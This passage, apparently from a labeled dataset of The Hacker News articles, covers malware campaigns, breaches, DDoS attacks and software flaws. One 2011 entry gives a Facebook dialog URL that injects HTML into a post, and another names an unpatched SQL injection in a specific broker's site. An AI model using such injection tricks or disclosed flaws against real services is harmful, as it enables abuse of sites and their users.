Besides social engineering efforts, the collective leveraged a network of malware-infested websites, both legitimately compromised websites and lookalike domains for popular Uyghur and Turkish news sites, that were used as a watering hole to attract and selectively infect iPhone users based on certain technical criteria, including IP address, operating system, browser, country, and language settings.
""Some of these web pages contained malicious javascript code that resembled previously reported exploits, which installed iOS malware known as INSOMNIA on people's devices once they were compromised,"" the company noted. Insomnia comes with capabilities to exfiltrate data from a variety of iOS apps, such as contacts, location, and iMessage, as well as third-party messaging clients from Signal, WhatsApp, Telegram, Gmail, and Hangouts.
Separately, Evil Eye also set up lookalike third-party Android app stores to publish trojanized Uyghur-themed applications such as a keyboard app, prayer app, and dictionary app, which served as a conduit to deploy two Android malware strains ActionSpy and PluginPhantom. Further investigation into the Android malware families linked the attack infrastructure to two Chinese companies Beijing Best United Technology Co., Ltd. (Best Lh) and Dalian 9Rush Technology Co., Ltd. (9Rush).
""These China-based firms are likely part of a sprawling network of vendors, with varying degrees of operational security,"" the researchers noted.
In a series of countermeasures, the company said it blocked the malicious domains in question from being shared on its platform, disabled the offending accounts, and notified about 500 people who were targeted by the adversary.
This is not the first time Facebook has outed technology firms that operate as a front for state-sponsored hacking activities. In December 2020, the social network formally linked OceanLotus to an information technology company called CyberOne Group located in Vietnam.

",Malware
Tweaking Facebook Status with HTML button,https://thehackernews.com/2011/08/tweaking-facebook-status-with-html.html,"Tweaking Facebook Status with HTML button

Have you thought that Facebook status updates that can be modified ? Yes we have a tweak for you : One is a Button Tag. One of our Hacker Friend ""Acizninja DeadcOde"" , admin of https://blog.cyber4rt.com sharing such cool tweaks with The Hacker News readers :

Here's the concept:
1. Log in to your Facebook account.
2. Copy and paste the url code below into the Address Bar and press the Enter key:

https://www.facebook.com/dialog/feed?app_id=209403259107231&redirect_uri=https%3A%2F%2Fwww..facebook.com&message&link=http%3A%2F%2Fwww.thehackernews.com%2F&name=<center><button>Visit+:+The+Hacker+News<%2Fbutton><%2Fcenter>



3. After that just press the button SHARE, and see your Facebook profile.You can also send them to friends, Fans Page & Events.


NOTE :
app_id=209403259107231 ( App ID on Facebook, Keep it same )
Redirect_uri = https://www.facebook.com ( This Will redirect to https://www.facebook.com )
Link = https://thehackernews.com ( Button link )
Name = <center> <button>Visit : The Hacker News </ Button> </ center> ( buttons and text )
to= ( Target posts. Fill in the ID NUMBER Facebook friends, FansPage or event )


The result you can see here:
https://www.facebook.com/unix.root/posts/269040589776535?notif_t=like

These are some urls with modified code:
a. https://goo.gl/6yZPr
b. https://tinyurl.com/3thplca
c. https://goo.gl/3NgWY (with music)

Thanks to Acizninja DeadcOde
https://blog.cyber4rt.com

",Vulnerability
"Crackonosh virus mined $2 million of Monero from 222,000 hacked computers",https://thehackernews.com/2021/06/crackonosh-virus-mined-2-million-of.html,"A previously undocumented Windows malware has infected over 222,000 systems worldwide since at least June 2018, yielding its developer no less than 9,000 Moneros ($2 million) in illegal profits.
Dubbed ""Crackonosh,"" the malware is distributed via illegal, cracked copies of popular software, only to disable antivirus programs installed in the machine and install a coin miner package called XMRig for stealthily exploiting the infected host's resources to mine Monero.
At least 30 different versions of the malware executable have been discovered between Jan. 1, 2018, and Nov. 23, 2020, Czech cybersecurity software company Avast said on Thursday, with a majority of the victims located in the U.S., Brazil, India, Poland, and the Philippines.
Crackonosh works by replacing critical Windows system files such as ""serviceinstaller.msi"" and ""maintenance.vbs"" to cover its tracks and abuses the safe mode, which prevents antivirus software from working, to delete Windows Defender (and other installed solutions) and turn off automatic updates.
As part of its anti-detection and anti-forensics tactics, the malware also installs its own version of ""MSASCuiL.exe"" (i.e., Windows Defender), which puts the icon of Windows Security with a green tick to the system tray and runs tests to determine if it's running in a virtual machine.
Last December, security researcher Roberto Franceschetti disclosed that antivirus applications could be disabled by booting into safe mode and renaming their application directories before their corresponding services are launched in Windows.
Microsoft, however, said the issue doesn't ""meet the bar for security servicing,"" noting that the attack is predicated on having administrative/root privileges, adding a ""malicious administrator can do much worse things.""
The development also comes as suspected Chinese threat actors behind DirtyMoe and Purple Fox malware were found to have compromised about 100,000 Windows machines as part of an evolving cryptojacking campaign dating all the way back to 2017.
""Crackonosh shows the risks in downloading cracked software,"" Avast security researcher Daniel Beneš said. ""As long as people continue to download cracked software, attacks like these will continue and continue to be profitable for attackers. The key take-away from this is that you really can't get something for nothing and when you try to steal software, odds are someone is trying to steal from you.""

",Malware
Wanna Cry Again? NSA's Windows 'EsteemAudit' RDP Exploit Remains Unpatched,https://thehackernews.com/2017/05/esteemaudit-windows-hacking.html,"Brace yourselves for a possible 'second wave' of massive global cyber attack, as SMB (Server Message Block) was not the only network protocol whose zero-day exploits created by NSA were exposed in the Shadow Brokers dump last month.

Although Microsoft released patches for SMB flaws for supported versions in March and unsupported versions immediately after the outbreak of the WannaCry ransomware, the company ignored to patch other three NSA hacking tools, dubbed ""EnglishmanDentist,"" ""EsteemAudit,"" and ""ExplodingCan.""

It has been almost two weeks since WannaCry ransomware began to spread, which infected nearly 300,000 computers in more than 150 countries within just 72 hours, though now it has been slowed down.

For those unaware, WannaCry exploited a Windows zero-day SMB bug that allowed remote hackers to hijack PCs running on unpatched Windows OS and then spread itself to other unpatched systems using its wormable capability.

EsteemAudit: Over 24,000 PCs Still Vulnerable

EsteemAudit is another dangerous NSA-developed Windows hacking tool leaked by the Shadow Brokers that targets RDP service (port 3389) on Microsoft Windows Server 2003 / Windows XP machines.

Since Microsoft no longer support Windows Server 2003 and Windows XP and unlike EternalBlue the company has not released any emergency patch for EsteemAudit exploit so far, over 24,000 vulnerable systems remains still exposed on the Internet for anyone to hack.

""Even one infected machine opens your enterprise to greater exploitation,"" say Omri Misgav and Tal Liberman, security researchers at Ensilo cyber security firm who came up with the AtomBombing attack last year and now has released an unofficial patch for EsteemAudit, which we have introduced later in this article.

EsteemAudit can also be used as a wormable malware, similar to the WannaCry ransomware, which allows hackers to propagate in the enterprise networks, leaving thousands of systems vulnerable to ransomware, espionage and other malicious attacks.

Ransomware authors, such as criminals behind CrySiS, Dharma, and SamSam, who are already infecting computers via RDP protocol using brute force attacks, can leverage EsteemAudit anytime for widespread and damaging attacks like WannaCry.

How to Secure Your Computers?
Due to the havoc caused by WannaCry, SMB service gained all the attention, neglecting RDP.
""Windows XP-based systems currently account for more than 7 percent of desktop operating systems still in use today, and the cyber security industry estimates that more than 600,000 web-facing computers, which host upwards of 175 million websites, still run Windows Server 2003 accounting for roughly 18 percent of the global market share,"" researchers say.
Since Microsoft has not released any patch for this vulnerability, users and enterprises are advised to upgrade their systems to the higher versions to secure themselves from EsteenAudit attacks.
""Of the three remaining exploits, ""EnglishmanDentist,"" ""EsteemAudit,"" and ""ExplodingCan,"" none reproduces on supported platforms, which means that customers running Windows 7 and more recent versions of Windows or Exchange 2010 and newer versions of Exchange are not at risk,"" Microsoft says.
If it's hard for your enterprise to upgrade their systems immediately, it's good for them to secure their RDP port by either disabling it or putting it behind the firewall.

Meanwhile, enSilo has released a patch to help Windows XP and Server 2003 users secure their machines against EsteemAudit. You can apply the patch to secure your systems, but keep in mind, that it is not an official patch from Microsoft.

If you have any doubt on the patch, enSilo is a reputed cyber security company, though I expect Microsoft to release an official patch before any outcry like that of WannaCry.

",Vulnerability
Malware attack on Apple employees by hackers who targeted Facebook,https://thehackernews.com/2013/02/malware-attack-on-apple-by-hackers-who.html,"The same ring of hackers that are responsible for hacking into at least 40 companies including Facebook and Twitter are reportedly also infected the computers of some Apple employees, the company acknowledged Tuesday.

The purpose of hack considered an effort to steal company secrets, research and intellectual property that they can sell. Investigators tracked at least one server being used by the hacker ring to a hosting company in the Ukraine.

""Apple has identified malware which infected a limited number of Mac systems through a vulnerability in the Java plug-in for browsers,"" the company said in its statement. ""The malware was employed in an attack against Apple and other companies, and was spread through a website for software developers. We identified a small number of systems within Apple that were infected and isolated them from our network.""

Apple isolated the infected systems from its network and said there was no indication that any data had been taken. Apple is releasing a tool that scans Macs and removes the Java malware. Oracle has also released an update to Java that fixes the vulnerability.

In addition to the Java update, Apple has rolled out version 11.0.2 of iTunes via Software Update.

Facebook acknowledged that it was attacked and said no user data had been compromised, but that many other companies had been targeted in the same attack, whereas in the attack on Twitter resulted in the breach of as many as 250,000 users' data.

Apple said it was working closely with law enforcement to find the culprits, but the spokesman would not elaborate further. The Federal Bureau of Investigation declined to comment.

",Malware
US authorities : Iranian Hackers are Becoming a Real Pain,https://thehackernews.com/2012/10/us-authorities-iranian-hackers-are.html,"The U.S. have admitted they believe a series of cyber attacks on domestic banks and some foreign oil companies carried out over the last year are the handy work of a group of hackers linked to the Iranian government.

Defence Secretary Leon Panetta said the cyberthreat from Iran has grown, and declared that the Pentagon is prepared to take action if America is threatened by a computer-based assault. The hackers are apparently part of a group of less than 100 computer security specialists from Iranian universities and network security firms, according to an unnamed US government official.

American officials have said they are able to discover the source of the recent cyberattacks. We do welcome this and announce our readiness for any international cooperation to find the source of the attacks.

The Iranian official said Tehran has already offered help to boost the companies cybersecurity, as Iran has itself recently been the victim of cyberattacks on its offshore oil platforms. The cyberattacks hit the Saudi Arabian state oil company Aramco and Qatari natural gas producer RasGas using a virus, known as Shamoon, which can spread through networked computers and ultimately wipes out files by overwriting them. Iran blames Israel and the United States for the attacks.

Subscribe to our Daily Newsletter via email - Be First to know about Security and Hackers. or Join our Huge Hackers Community on Facebook, Google+ and Twitter.

",Malware
4XP Critical SQL Injection Vulnerability Exposed,https://thehackernews.com/2012/07/4xp-critical-sql-injection.html,"zSecure team has recently discovered a critical SQL Injection Vulnerability in the web portal of 4XP, a leading online forex broker having more than 1 lakh customer base. Financial transactions are carried on the broker's paltform on daily basis including but not limited to Credit Card Transactions. The critical vulnerability allows to get complete access to brokers database which can be misused to access their customers confidential information including their login id's, passwords, home address, email-id's, mobile no's, credit card details etc. This critical vulnerbility could prove devastating to the company if they doesn't fix it asap. Below are the details about the company & discovered vulnerability.

About the Company
4XP is an online forex broker that specializes in providing an all-inclusive trading package backed by a caring and devoted support team. 4XP was founded by a group of retail-ended entrepreneurs and capital market dealers sharing a vision for creating a customer-oriented brokerage service that would provide a compelling trading solution. 4XP strives toward creating the most professional and transparent trading environment possible.

Vulnerability details
Website: www.4xp.com

Vulnerability Type: Hidden SQL Injection Vulnerability
Database Type: MySql
Alert Level: Critical
Threats: Complete Database Access, Database Dump, Shell Uploading
Worst case scenarios
Any malicious smart black hats can create much more devastating attacks using this critical flaw such as:
- Uninterrupted access to the database

- Database Dump;
- Possibility of shell uploading which may result in defacement of website; and
- Much more . . .
Proof of vulnerability




Source

",Vulnerability
Verizon wants $1 Billion Discount on Yahoo Acquisition Deal after Recent Scandals,https://thehackernews.com/2016/10/verizon-yahoo-acquisition-deal.html,"It seems like it is not all over for Yahoo yet. Another day, another bad news for Yahoo!

Verizon, which has agreed to purchase Yahoo for $4.8 Billion, is now asking for a $1 Billion discount, according to recent reports.

The request comes after Verizon Communications learned about the recent disclosures about hacking and spying in past few weeks.

Just two weeks ago, Yahoo revealed that at least a half Billion Yahoo accounts were stolen in 2014 hack, marking it as the biggest data breach in history.

And if this wasn't enough, the company faced allegations earlier this week that it built a secret tool to scan all of its users' emails last year at the behest of a United States intelligence agency.

Due to these incidents, AOL CEO Tim Armstrong, who runs the Verizon subsidiary, is ""pretty upset"" about Yahoo's lack of disclosure, and is even seeking to pull out of the deal completely or cut the price, the New York Post claimed, citing multiple sources.

""In the last day, we've heard that Tim [Armstrong] is getting cold feet,"" a source reportedly told the Post. ""He's pretty upset about the lack of disclosure, and he's saying can we get out of this or can we reduce the price?""
Armstrong is reportedly discussing a price reduction with Yahoo executives, though Yahoo is pushing back, claiming a ""deal is a deal"" and there's no legal recourse to change the terms, according to the paper.

Both Verizon and Yahoo have yet to comment on the matter.

Verizon announced the Yahoo acquisition deal in July, with the intention of merging it with AOL. The company is thinking to combine Yahoo and AOL to form a third force to compete with Google and Facebook for digital advertising.

The acquisition deal is supposed to close early next year, merging Yahoo's search, advertising, content, and mobile operations with AOL to reach 1 Billion users.

",Data_Breaches
An Army of Million Hacked IoT Devices Almost Broke the Internet Today,https://thehackernews.com/2016/10/iot-dyn-ddos-attack.html,"A massive Distributed Denial of Service (DDoS) attack against Dyn, a major domain name system (DNS) provider, broke large portions of the Internet on Friday, causing a significant outage to a ton of websites and services, including Twitter, GitHub, PayPal, Amazon, Reddit, Netflix, and Spotify.

But how the attack happened? What's the cause behind the attack?

Exact details of the attack remain vague, but Dyn reported a huge army of hijacked internet-connected devices could be responsible for the massive attack.

Yes, the same method recently employed by hackers to carry out record-breaking DDoS attack of over 1 Tbps against France-based hosting provider OVH.

According to security intelligence firm Flashpoint, Mirai bots were detected driving much, but not necessarily all, of the traffic in the DDoS attacks against DynDNS.

Mirai is a piece of malware that targets Internet of Things (IoT) devices such as routers, and security cameras, DVRs, and enslaves vast numbers of these compromised devices into a botnet, which is then used to conduct DDoS attacks.

Since the source code of Mirai Botnet has already made available to the public, anyone can wield DDoS attacks against targets.

This time hackers did not target an individual site, rather they attacked Dyn that many sites and services are using as their upstream DNS provider for turning internet protocol (IP) addresses into human-readable websites.

The result we all know: Major sites and services including Twitter, GitHub, Reddit, PayPal, Amazon, AirBnb, Netflix, Pinterest, and so on, were among hundreds of services rendered inaccessible to Millions of people worldwide for several hours on Friday.

""Flashpoint has confirmed that at least some of the devices used in the Dyn DNS attacks are DVRs, further matching the technical indicators and tactics, techniques, and procedures associated with previous known Mirai botnet attacks,"" Flashpoint says in a blog post.

This type of attack is notable and concerning because it largely consists of unsecured IoT devices, which are growing exponentially with time. These devices are implemented in a way that they cannot easily be updated and thus are nearly impossible to secure.

Manufacturers majorly focus on performance and usability of IoT devices but ignore security measures and encryption mechanisms, which is why they are routinely being hacked and widely becoming part of DDoS botnets used as weapons in cyber attacks.

An online tracker of the Mirai botnet suggests there are more than 1.2 Million Mirai-infected devices on the Internet, with over 166,000 devices active right now.

In short, IoT botnets like Mirai are growing rapidly, and there is no easy way to stop them.

According to officials speaking to Reuters, the US Department of Homeland Security (DHS) and the FBI are both investigating the massive DDoS attacks hitting DynDNS, but none of the agencies yet speculated on who might be behind them.

",Cyber_Attack
Insurance Firm CNA Financial Reportedly Paid Hackers $40 Million in Ransom,https://thehackernews.com/2021/05/insurance-firm-cna-financial-reportedly.html,"U.S. insurance giant CNA Financial reportedly paid $40 million to a ransomware gang to recover access to its systems following an attack in March, making it one of the most expensive ransoms paid to date.
The development was first reported by Bloomberg, citing ""people with knowledge of the attack."" The adversary that staged the intrusion is said to have allegedly demanded $60 million a week after the Chicago-based company began negotiations with the hackers, culminating in the payment two weeks following the theft of company data.
In a statement shared on May 12, CNA Financial said it had ""no evidence to indicate that external customers were potentially at risk of infection due to the incident.""
The attack has been attributed to a new ransomware called 'Phoenix CryptoLocker,' according to a March report from Bleeping Computer, with the strain believed to be an offshoot of WastedLocker and Hades, both of which have been utilized by Evil Corp, a Russian cybercrime network notorious for launching ransomware attacks against several U.S. entities, including Garmin, and deploying JabberZeus, Bugat and Dridex to siphon banking credentials.
In December 2019, U.S. authorities sanctioned the hacking group and filed charges against Evil Corp's alleged leaders Maksim Yakubets and Igor Turashev for developing and distributing the Dridex banking Trojan to plunder more than $100 million over a period of 10 years. Law enforcement agencies also announced a reward of up to $5 million for providing information that could lead to their arrest. Both the individuals remain at large.
The development comes amid a sharp uptick in ransomware incidents, in part fueled by the pandemic, with the average ransom payment witnessing a massive 171% gain year-over-year from $115,123 in 2019 to $312,493 in 2020. Last year also saw the highest ransomware demand growing to $30 million, not to mention the total amount paid by victims skyrocketing to $406 million, based on conservative estimates.
CNA Financial's $40 million ransom only shows that 2021 continues to be a great year for ransomware, potentially emboldening cybercriminal gangs to seek bigger payouts and advance their illicit aims.
According to an analysis by ransomware recovery firm Coveware, the average demand for a digital extortion payment shot up in the first quarter of 2021 to $220,298, up 43% from Q4 2020, out of which 77% of the attacks involved the threat to leak exfiltrated data, an increasingly prevalent tactic known as double extortion.
While the U.S. government has routinely advised against paying ransoms, the high stakes associated with data exposure have left victims with little choice but to settle with their attackers. In October 2020, the Treasury Department issued a guidance warning of penalties against companies making ransom payments to a sanctioned person or group, prompting ransomware negotiation firms to avoid cutting a deal with blocked groups such as Evil Corp to evade legal action.
""Companies that facilitate ransomware payments to cyber actors on behalf of victims, including financial institutions, cyber insurance firms, and companies involved in digital forensics and incident response, not only encourage future ransomware payment demands but also may risk violating [Office of Foreign Assets Control] regulations,"" the department said.
The surge in ransomware attacks has also had an impact on the cyber insurance industry, what with AXA announcing earlier this month that it will stop reimbursing clients in France should they opt to make any extortion payments to ransomware cartels, underscoring the dilemma that ""insurance firms grapple with successfully underwriting ransomware policies while confronted with rising payout costs that threaten profitability.""
Indeed, a report released by the U.S. Government Accountability Office (GAO) on Thursday revealed that the soaring demand for cyber insurance has driven insurers to raise premiums and limit coverage. The amount of total direct premiums written jumped by 50% between 2016 and 2019, from $2.1 billion to $3.1 billion. Higher insurer losses stemming from debilitating ransomware attacks are also a factor, the agency said.
""The continually increasing frequency and severity of cyberattacks, especially ransomware attacks, have led insurers to reduce cyber coverage limits for certain riskier industry sectors, such as health care and education, and for public entities and to add specific limits on ransomware coverage,"" the government watchdog noted in the report.
To defend against ransomware attacks, it's recommended to secure all modes of initial access exploited by threat actors to infiltrate networks, maintain periodic data backups, and keep an appropriate recovery process in place.
""Organizations should maintain user awareness and training for email security as well as consider ways to identify and remediate malicious email as soon as it enters an employee's mailbox,"" Palo Alto Networks' Unit 42 researchers said.
""Organizations should also ensure they conduct proper patch management and review which services may be exposed to the internet. Remote desktop services should be correctly configured and secured, using the principle of least privilege wherever possible, with a policy in place to detect patterns associated with brute-force attacks.""

",Malware
3.2 Billion Leaked Passwords Contain 1.5 Million Records with Government Emails,https://thehackernews.com/2021/04/32-billion-leaked-passwords-contain-15.html,"A staggering number of 3.28 billion passwords linked to 2.18 billion unique email addresses were exposed in what's one of the largest data dumps of breached usernames and passwords.
In addition, the leak includes 1,502,909 passwords associated with email addresses from government domains across the world, with the U.S. government alone taking up 625,505 of the exposed passwords, followed by the U.K (205,099), Australia (136,025), Brazil (68,535), and Canada (50,726).
The findings come from an analysis of a massive 100GB data set called ""COMB21"" — aka Compilation of Many Breaches — that was published for free in an online cybercrime forum earlier this February by putting together data from multiple leaks in different companies and organizations that occurred over the years.
It's worth noting that a leak doesn't imply a breach of public administration systems. The passwords are said to have been obtained via techniques such as password hash cracking after being stolen or through phishing attacks and eavesdropping on insecure, plaintext connections.
The top 10 U.S. government domains affected by the leak are as follows:
State Department - state.gov (29,144)
Veterans Affairs Department - va.gov (28,937)
Department of Homeland Security - dhs.gov (21,575)
National Aeronautics and Space Administration - nasa.gov (15,665)
Internal Revenue Service - irs.gov (10,480)
Center for Disease Control and Prevention - cdc.gov (8,904)
Department of Justice - usdoj.gov (8,857)
Social Security Administration - ssa.gov (8,747)
U.S. Postal Service - usps.gov (8,205), and
Environmental Protection Agency - epa.gov (7,986)
Interestingly, this leak also includes 13 credentials linked to emails of the Oldsmar water plant in Florida, as previously reported by CyberNews. However, there's no evidence that the breached passwords were used to carry out the cyberattack in February. In contrast, only 18,282 passwords related to Chinese government domains and 1,964 passwords from those related to Russia were laid bare.
""It is an indication that the passwords in these countries, made up of local alphabets, are less targeted by hackers. It is an unexpected layer of protection in relation to the Roman alphabet,"" said Syhunt Founder and Chief Visionary Officer (CVO) Felipe Daragon.
On a related note, a notorious threat actor named ShinyHunters has posted an alleged database consisting of 20 million BigBasket users for free, almost five months after the Indian online grocery delivery startup confirmed a data breach. According to Under the Breach's Alon Gal, the database includes users' email addresses, phone numbers, residential addresses, hashed passwords, dates of birth, and order histories.
In the past, ShinyHunters has been connected to the sale of personal data from several companies, including Zoosk, SocialShare, Tokopedia, TeeSpring, Mindful, Minted, Chatbooks, Dave, Promo, Mathway, Wattpad, MeetMindful.com, and StarTribune.
Users who have had their information exposed are strongly advised to change their existing passwords.

",Data_Breaches
New Android Malware Uses VNC to Spy and Steal Passwords from Victims,https://thehackernews.com/2021/07/new-android-malware-uses-vnc-to-spy-and.html,"A previously undocumented Android-based remote access trojan (RAT) has been found to use screen recording features to steal sensitive information on the device, including banking credentials, and open the door for on-device fraud.
Dubbed ""Vultur"" due to its use of Virtual Network Computing (VNC)'s remote screen-sharing technology to gain full visibility on targeted users, the mobile malware was distributed via the official Google Play Store and masqueraded as an app named ""Protection Guard,"" attracting over 5,000 installations. Banking and crypto-wallet apps from entities located in Italy, Australia, and Spain were the primary targets.
""For the first time we are seeing an Android banking trojan that has screen recording and keylogging as the main strategy to harvest login credentials in an automated and scalable way,"" researchers from ThreatFabric said in a write-up shared with The Hacker News.
""The actors chose to steer away from the common HTML overlay development we usually see in other Android banking Trojans: this approach usually requires a larger time and effort investment from the actors to create multiple overlays capable of tricking the user. Instead, they chose to simply record what is shown on the screen, effectively obtaining the same end result.""
While banking malware such as MysteryBot, Grandoreiro, Banker.BR, and Vizom have traditionally relied on overlay attacks — i.e., creating a false version of the bank's login page and overlaying it on top of the legitimate app — to trick victims into revealing their passwords and other important private information, evidence is mounting that threat actors are pivoting away from this approach.
In a report published earlier this week, Italian cybersecurity firm Cleafy uncovered UBEL, an updated variant of Oscorp, that was observed using WebRTC to interact with the compromised Android phone in real-time. Vultur adopts a similar tactic in that it takes advantage of accessibility permissions to capture keystrokes and leverages VNC's screen recording feature to stealthily log all activities on the phone, thus obviating the need to register a new device and making it difficult for banks to detect fraud.
What's more, the malware employs ngrok, a cross-platform utility used to expose local servers behind NATs and firewalls to the public internet over secure tunnels, to provide remote access to the VNC server running locally on the phone. Additionally, it also establishes connections with a command-and-control (C2) server to receive commands over Firebase Cloud Messaging (FCM), the results of which, including extracted data and screen captures, are then transmitted back to the server.
ThreatFabric's investigation also connected Vultur with another well-known piece of malicious software named Brunhilda, a dropper that utilizes the Play Store to distribute different kinds of malware in what's called a ""dropper-as-a-service"" (DaaS) operation, citing overlaps in the source code and C2 infrastructure used to facilitate attacks.
These ties, the Amsterdam-based cybersecurity services company said, indicate Brunhilda to be a privately operating threat actor that has its own dropper and proprietary RAT Vultur.
""The story of Vultur shows one more time how actors shift from using rented Trojans (MaaS) that are sold on underground markets towards proprietary/private malware tailored to the needs of this group,"" the researchers concluded. ""These attacks are scalable and automated since the actions to perform fraud can be scripted on the malware backend and sent in the form of commands sequence, making it easy for the actor(s) to hit-and-run.""

",Malware
Using AppLock for Android to Hide Apps and Photos? — It's Useless,https://thehackernews.com/2015/09/android-applock.html,"Widely popular AppLock for Android by DoMobile Ltd. is claimed to be vulnerable to hackers.

Having an applock for iPhone or Android device is useful. It is suitable for security and keeping people out of your business.

But when it comes to how to password protect apps on Android? How to put passwords on apps? — the one app that comes to mind is AppLock.

What is AppLock?

AppLock is a lightweight Android app that enables users to apply a lock on almost any type of file or app on their devices, preventing access to your locked apps and private data without a password.

The most basic functionality of the security feature is to lock your Android apps so that nobody can access or uninstall them, but applock can hide pictures and videos, and even contacts and individual messages.

For example, if you have an app lock on WhatsApp, one of your friends borrow your phone to play games cannot get into your WhatsApp app without a password you have set for the locked app.

App Lock sits above your other Android apps and works straightforwardly. You can download app lock in play store for free. Although you can use applock for free, the Pro version of the app will cost you a few dollars.

Hide Photos, Files, and Apps On Android

App Lock works a lot like a lock screen on your Android phone. People cannot access your phone without its password. An app lock does precisely that, except for individual apps.

With AppLock, you can create a specific PIN (or an app-specific PIN) that can then be used to lock down whatever applications you wish to secure. It's incredibly simple to use.

Here are some features of AppLock:
Lock any app using either a PIN number form or a pattern lock
A Photo Vault to hide pictures, so that hidden pictures cannot be accessed by anyone except you
A Video Vault to hide videos
Create different user profiles
Easy to change the locks
Preventing AppLock uninstallation
Auto restart (to avoid app lock from being killed by task killers)
Lock Android installer
Lock incoming calls or outgoing calls
Lock access to phone
Multi-lock feature (Pro version only): Add different locks to different apps
Auto-lock base on Time or Wi-Fi (Pro version just)
Disguise feature (Pro version just)
In short, AppLock is an applocker that acts as advanced protection for your device, by securing many features that come with an android phone.
But, does this really protects you?

Let's have a look…

Security researchers at Beyond Security's 'SecuriTeam Secure Disclosure' (SSD) have reported three critical flaws to reside in the AppLock App.

They say the app that promises to hide and secure your data lacks when:
You hide your photos and videos in Vault
You apply PIN Protection to the AppLock App
You enable to reset the PIN

How Lock Unlock AppLock Key On Android?

The First vulnerability exploits the vault services with which the ""AppLock empowers you to control photo and video access.""

The researchers say, when you put something in the vault, the files did not get encrypted; instead they are hidden in the file system of the device and not the one assigned to the app.

With this activity, anyone can access those files, and an intruder can accomplish this task by installing a file manager on the device with simultaneously replacing some files in the directory and getting the data from the SQLite database.

The Second vulnerability allows an attacker to break the PIN attached to an app by brute force. The researchers claim that the SALT that used to attach with the password/PIN was a fixed SALT that is ""domobile.""

For this, the device is required to be rooted. Also, an attacker can remove and change the lock applied to an app.

The Third vulnerability allows the attackers to reset the PIN code and gain complete access to the targeted application without getting any special permissions.

Here, the researchers say that an attacker can exploit the user's privacy by resetting the password by:
If the user has not provided any E-mail address- an attacker can add his own and get the reset code.
If the user has provided an E-mail address- an attacker can intercept the traffic using Wireshark and get the MD5 hash.
SecuriTeam tried to contact the vendor, but they did not respond. Also, they say their agenda is to protect the user's privacy by notifying them about a ""false sense of security.""

AppLock is installed in over 50 countries with over 100 Million users, supporting 24 languages. Besides AppLock, DoMobile develops various apps supporting on Android and iOS operating system devices.
",Vulnerability
Remote 0day Exploit for Tectia SSH Server released,https://thehackernews.com/2012/12/remote-0day-exploit-for-tectia-ssh.html,"Hacker @kingcope discovered critical vulnerability in Tectia SSH Server. Exploit working on SSH-2.0-6.1.9.95 SSH Tectia Server (Latest available version from www.tectia.com) that allow attacker to bypass Authentication remotely.

Description : An attacker in the possession of a valid username of an SSH Tectia installation running on UNIX (verified on AIX/Linux) can login without a password. The bug is in the ""SSH USERAUTH CHANGE REQUEST"" routines which are there to allow a user to change their password. A bug in the code allows an attacker to login without a password by forcing a password change request prior to authentication.


Download Exploit Code : Click Here

A default installation on Linux (version 6.1.9.95 of Tectia) is vulnerable to the attack. Eric Romang posted a Demo video on Youtube, hope you will like it :)


Command Source : https://goo.gl/BHqWd

",Vulnerability
Adobe Issues Emergency Patches for Two Critical Flaws in Acrobat and Reader,https://thehackernews.com/2019/01/adobe-reader-vulnerabilities.html,"I hope you had biggest, happiest and craziest New Year celebration, but now it's time to come back at work and immediately update your systems to patch new security flaws that could exploit your computer just by opening a PDF file.

Adobe has issued an out-of-band security update to patch two critical vulnerabilities in the company's Acrobat and Reader for both the Windows and macOS operating systems.

Though the San Jose, California-based software company did not give details about the vulnerabilities, it did classify the security flaws as critical since they allow privilege escalation and arbitrary code execution in the context of the current user.

Both the vulnerabilities were reported to Adobe by security researchers--Abdul-Aziz Hariri and Sebastian Apelt—from Trend Micro's Zero Day Initiative (ZDI).

Critical Adobe Acrobat and Reader Vulnerabilities

The first vulnerability, reported by Apelt and identified as CVE-2018-16011, is a use-after-free bug that can lead to arbitrary code execution.

Attackers can exploit the flaw by tricking a user into clicking a specially crafted PDF file, which will eventually execute code of their choice with the privileges of the currently logged-in user, allowing attackers to run any malicious software on the victims' computers without their knowledge.

The second vulnerability, discovered by Hariri and identified as CVE-2018-19725, is a security bypass flaw that could result in privilege escalation.

Both security vulnerabilities are rated as critical but has been assigned a priority rating of 2, which means that the company found no evidence of any exploitation of these vulnerabilities in the wild.

Affected Software Versions and Security Patches

Acrobat and Reader DC 2015 version 2015.006.30461 and earlier, 2017 version 2017.011.30110 and earlier, and Continuous version 2019.010.20064 and earlier for the Windows and macOS operating systems are affected by the vulnerabilities.

Adobe has addressed the flaws with the release of the latest versions of Acrobat DC 2015 and Acrobat Reader DC 2015 (version 2015.006.30464), Acrobat 2017 and Acrobat Reader DC 2017 (version 2017.011.30113), and Acrobat DC Continuous and Acrobat Reader DC Continuous (version 2019.010.20069) for Windows and macOS.

Since the vulnerabilities are now public, threat actors would not leave any opportunity to exploit the issues to target user computers, Mac and Windows computer owners are highly recommended to install patches for the two vulnerabilities as soon as possible.

Adobe typically releases security updates for its software on the second Tuesday of the month, just like Microsoft, so you can expect the company to release regular patch updates for the rest of its software in this month's release.
",Vulnerability
Hacker exploits Heartbleed bug to Hijack VPN Sessions,https://thehackernews.com/2014/04/hacker-exploits-heartbleed-bug-to.html,"Cyber criminals have explored one more way to exploit Heartbleed OpenSSL bug against organisations to hijack multiple active web sessions conducted over a virtual private network connection.

The consulting and incident response Mandiant investigated targeted attack against an unnamed organization and said the hackers have exploited the ""Heartbleed"" security vulnerability in OpenSSL running in the client's SSL VPN concentrator to remotely access active sessions of an organization's internal network.

The incident is the result of attacks leveraging the OpenSSL Heartbleed vulnerabilities, which resides in the OpenSSL's heartbeat functionality, if enabled would return 64KB of random memory in plaintext to any client or server requesting for a connection. The vulnerability infected almost two-third of internet web servers, including the popular websites.

Recently, there has been an arrest of a Canadian teen of stealing usernames, credentials, session IDs and other data in plaintext from the Canada Revenue Agency by exploiting the Heartbleed OpenSSL bug. This shows that there may have been more active cyber criminals out there using the Heartbleed bug to steal private data and take over web sessions.

The hacker successfully stolen active user session tokens in order to bypass both the organization's multifactor authentication and VPN client software used to validate the authenticity of systems connecting to the VPN were owned by the organization and running specific security software.

""Specifically, the attacker repeatedly sent malformed heartbeat requests to the HTTPS web server running on the VPN device, which was compiled with a vulnerable version of OpenSSL, to obtain active session tokens for currently authenticated users,"" wrote Mandiant investigators Christopher Glyer and Chris DiGiamo. ""With an active session token, the attacker successfully hijacked multiple active user sessions and convinced the VPN concentrator that he/she was legitimately authenticated.""

OpenVPN previously warned that it could be vulnerable to attack since the open source VPN software uses OpenSSL by default.

